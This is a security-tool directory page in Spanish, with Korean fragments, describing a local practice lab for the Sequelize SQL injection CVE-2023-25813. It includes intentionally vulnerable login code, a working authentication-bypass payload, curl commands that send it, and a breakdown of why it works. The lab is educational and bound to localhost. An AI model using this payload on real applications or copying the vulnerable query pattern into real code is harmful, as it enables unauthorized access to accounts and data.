Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-25813-TEST — Implementación de vulnerabilidad Sequelize Sql Injection | Kitploit
Herramientas/GitHubGitHub/h-gunp/cve-2023-25813-test
Análisis de VulnerabilidadesExplotación de Aplicaciones WebAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHubh-gunp/cve-2023-25813-test

CVE-2023-25813-TEST

Implementación de vulnerabilidad Sequelize Sql Injection

Ver Repositorio
3hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aplicación de Prueba CVE

Esta es una aplicación de práctica Express + MySQL para verificar el comportamiento de Sequelize CVE-2023-25813 localmente.

Este proyecto mantiene intencionalmente una versión vulnerable de Sequelize y un patrón de consulta de inicio de sesión vulnerable. No lo exponga a Internet; ejecútelo solo en un entorno de práctica local con Docker.

Configuración

  • Web: Express, EJS
  • DB: MySQL 8.0
  • ORM: Sequelize 6.19.0
  • Puerto DB Docker: localhost:3307
  • Puerto Web: localhost:3000

Características principales:

  • Registro
  • Inicio de sesión / Cierre de sesión
  • Mostrar cuenta actual conectada
  • Crear/Editar/Eliminar publicaciones
  • Creación automática de la base de datos al iniciar la aplicación
  • Creación automática de cuenta admin al iniciar la aplicación
  • Ruta de inicio de sesión para reproducir CVE-2023-25813

Variables de entorno

Se utiliza el archivo .env. Consulte .env.example para ver un ejemplo.

root@kitploit:~
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin

Al ejecutar con Docker, el contenedor de la aplicación utiliza el servicio db dentro de Compose, no el MySQL local.

root@kitploit:~
Desde el contenedor de la aplicación: DB_HOST=db
Desde el PC anfitrión: Puerto de conexión a BD = 3307

Ejecutar con Docker

Encienda Docker Desktop y ejecute en PowerShell.

root@kitploit:~
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build

Acceda en el navegador:

root@kitploit:~
http://localhost:3000

Verificar estado:

root@kitploit:~
docker compose ps
docker compose logs app --tail 50

Detener:

root@kitploit:~
docker compose down

Inicializar también los datos de la BD:

root@kitploit:~
docker compose down -v

Verificar la BD

Para conectarse directamente a MySQL dentro de Docker:

root@kitploit:~
docker compose exec db mysql -uroot -p cve_test_db

La contraseña es el valor de DB_PASSWORD en .env.

En herramientas GUI como Workbench, conéctese con los siguientes valores:

root@kitploit:~
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db

Si la base de datos está creada, en los registros de la aplicación aparecerán mensajes como estos:

root@kitploit:~
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중

Cuenta de administrador predeterminada

Al iniciar la aplicación, se crea automáticamente una cuenta admin con los valores de .env.

Valores predeterminados:

root@kitploit:~
아이디: admin
비밀번호: admin

Al iniciar sesión, se muestra la cuenta actual conectada en la parte superior de la página principal.

root@kitploit:~
현재 접속 계정: admin

Verificar inicio de sesión normal

En el navegador, vaya a /login y luego:

root@kitploit:~
아이디: admin
비밀번호: admin

Si tiene éxito, será redirigido a / y verá la cuenta actual conectada en la página principal.

Para verificar con curl:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=admin" `
  --data-urlencode "password=admin"

Criterio de éxito:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

Payload de práctica CVE

En el navegador, vaya a /login e ingrese los siguientes valores:

root@kitploit:~
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username

Si tiene éxito, será redirigido a / en lugar de /login?error=invalid. La cuenta actual conectada en la página principal también se mostrará como el usuario que inició sesión.

Verificar con curl:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=/**/OR/**/1=1)/**/#" `
  --data-urlencode "password=:username"

Criterio de éxito:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

Principio del payload

El código vulnerable se encuentra en la ruta de inicio de sesión.

root@kitploit:~
const user = await User.findOne({
    where: and(
        literal('username = :username'),
        { password }
    ),
    replacements: { username: username }
});

Si el inicio de sesión es normal, el SQL tendría aproximadamente esta forma:

root@kitploit:~
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;

El problema es mezclar literal('username = :username'), { password } y replacements en la misma consulta. En Sequelize 6.19.0, replacements se aplica a toda la consulta, por lo que :username dentro del valor password ingresado por el usuario también puede ser reemplazado.

El payload de práctica se ingresa así:

root@kitploit:~
username = /**/OR/**/1=1)/**/#
password = :username

En ese momento, la consulta real se ve aproximadamente así en los registros:

root@kitploit:~
WHERE (
  username = '/**/OR/**/1=1)/**/#'
  AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;

Significado de cada parte:

  • password=:username: Es el núcleo que hace que el reemplazo de username ocurra nuevamente en el campo de contraseña.
  • /**/: Es un bloque que MySQL trata como comentario. Actúa como un espacio, por lo que incluso si se eliminan los espacios alrededor de OR, los tokens SQL se separan.
  • OR 1=1: Agrega una condición que siempre es verdadera.
  • ): Cierra el grupo de condiciones AND(...) creado por Sequelize.
  • #: Es un comentario de una línea en MySQL. Comenta el resto de la línea, incluyendo las comillas restantes y los fragmentos alrededor de LIMIT 1, evitando errores de sintaxis.

Como resultado, la condición siempre es verdadera, se obtiene la primera fila de usuario y la aplicación lo trata como un inicio de sesión exitoso.

Errores comunes

Si aparece un error de sintaxis SQL

Los payloads que dependen de espacios, como el siguiente, pueden fallar si los espacios iniciales/finales se eliminan durante la entrada en el navegador:

root@kitploit:~
 OR 1=1) -- 

El comentario -- de MySQL requiere un espacio después. Si falta el espacio, no se reconoce como comentario y se produce un error de sintaxis.

En este proyecto se recomienda el siguiente payload:

root@kitploit:~
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username

Si la BD no se ve en el MySQL local

Al ejecutar con Docker, la BD se crea en el contenedor db de Docker, no en el servidor MySQL local. Para verla desde el PC anfitrión, conéctese a localhost:3307.

Si aparece una advertencia de npm audit

Es normal. Esta aplicación mantiene una versión vulnerable de Sequelize para la práctica de CVE.

root@kitploit:~
[email protected]

Ejecutar npm audit fix podría eliminar la vulnerabilidad objetivo de la práctica.

Descargar herramienta